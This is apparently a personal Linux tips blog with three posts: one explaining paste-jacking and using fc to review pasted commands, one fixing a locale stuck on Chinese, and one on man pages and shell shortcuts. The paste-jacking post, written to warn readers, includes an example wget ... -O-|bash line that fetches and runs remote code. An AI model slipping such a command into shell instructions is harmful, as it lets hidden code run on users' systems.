c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Thu, 04 Jul 2013

Preventing paste-jacking with fc

Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
ls
-l

Paste below to see what lurks in the <span> that you’re not seeing:

If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
clear

Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

So what’s the cure?

Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

Read more at ush.it and h-online.com.


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Wed, 26 Jun 2013

Terminal suddenly Chinese

The other day, I was updating one of my systems and I noticed that it had decided to communicate with me in Chinese. Since I don’t know a lick of Chinese, it made for a clumsy exchange.

It was Linux Mint (an Ubuntu variant), so a snip of the output from an ‘apt-get upgrade’ looked like this: terminal screen with Chinese characters

I’m pretty sure I caused it — but there’s no telling what I was working on and how it slipped past me. Anyway, it’s not a difficult problem to fix but I imagine it could look like big trouble.

So, here’s what I did:
> locale

The important part of the output was this:
LANG=en_US.UTF-8
LANGUAGE=zh_CN.UTF-8

If you want to set your system to use a specific editor, you can set $EDITOR=vi and then you’re going to learn that some programs expect the configuration to be set in $VISUAL and you’ll need to change it there too.

In a similar way, many things were using the en_US.UTF-8 set in LANG, but other things were looking to LANGUAGE and determining that I wanted Chinese.

Having identified the problem, the fix was simple. Firstly, I just changed it in my local environment:
> LANGUAGE=en_US.UTF-8

That solved the immediate problem but, sooner or later, I’m going to reboot the machine and the Chinese setting would have come back. I needed to record the change somewhere for the system to know about it in the future.

> vim /etc/default/locale

Therein was the more permanent record, so I changed LANGUAGE there also, giving the result:

LANG=en_US.UTF-8
LANGUAGE=en_US.UTF-8
LC_CTYPE=en_US.UTF-8
LC_NUMERIC=en_US.UTF-8
LC_TIME=en_US.UTF-8
LC_COLLATE=”en_US.UTF-8”
LC_MONETARY=en_US.UTF-8
LC_MESSAGES=”en_US.UTF-8”
LC_PAPER=en_US.UTF-8
LC_NAME=en_US.UTF-8
LC_ADDRESS=en_US.UTF-8
LC_TELEPHONE=en_US.UTF-8
LC_MEASUREMENT=en_US.UTF-8
LC_IDENTIFICATION=en_US.UTF-8
LC_ALL=

And now, the computer is back to using characters that I (more-or-less) understand.


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Thu, 06 Jun 2013

Managing to use man pages through simple CLI tips

Recently, an author I admire and time-honored spinner of the Interwebs, Tony Lawrence emphasized the value of using man pagesmanual pagesDocumentation available from the command line.
> man ls
as a sanity check before getting carried away with powerful commands. I didn’t know about this one but he has written about a situation in which killall could produce some shocking, and potentially quite unpleasant, results.

Personally, I often quickly check man pages to be certain that I am using the correct flags or, as in the above case, anticipating results that bear some resemblance to what is actually likely to happen. Yet, it seems many people flock toward SERPSearch Engine Results Page A tasteful replacement for mentioning any particular search-engine by name.
Also useful as a verb:
I dunno. You’ll have to SERP it.
s for this information.

Perhaps the most compelling reason to head for the web is leaving the cursor amid the line you’re working on, without disturbing the command. SERPing the command however, could easily lead you to information about a variant that is more common than the one available to you. More importantly, the information retrieved from the search engine is almost certainly written by someone who did read the man page — and may even come with the admonishment that you RTFMRead The F#!$!*#’n Manual as a testament to the importance of developing this habit.

This can be made easier with just a few CLI shortcuts.

<CTRL+u> to cut what you have typed so far and <CTRL+y> to paste it back.

That is, you press <CTRL+u> and the line will be cleared, so you can then type man {command} and read the documentation. Don’t hesitate to jot quick notes of which flags you intend to use, if needed. Then exit the man page, press <CTRL+y> and finish typing right where you left off.

This is another good use for screen or tmux but let’s face it. There are times when you don’t want the overhead of opening another window for a quick look-up and even instances when these tools aren’t available.

A few other tips to make life easier when building complex commands:

Use the command fc to open up an editor in which you can build your complex command and, optionally, even save it as a shell script for future reuse.

Repeat the last word from the previous command (often a filename) with <ALT+.> or use an item from the last command by position, in reverse order:
> ls -lahtr *archive*
<ALT+1+.> : *archive*
<ALT+2+.> : -lahtr
<ALT+3+.> : ls

You can also use Word Designators to use items from history, such as adding sudo to the last command typed by:
sudo !!

This allows for tricks like replacing bits of a previous command:
!:s/misspelled/corrected/

Lastly, if you need a command that was typed earlier, you can search history by pressing <CTRL+r> and start typing an identifying portion of the command.

(Note: I have used these in Zsh and Bash, specifically. They can, however, be missing or overwritten — if a feature you want isn’t working, you can bind keys in a configuration file. Don’t just write it off, once you’ve solved the problem it will never again be an intimidating one.)

Happy hacking!


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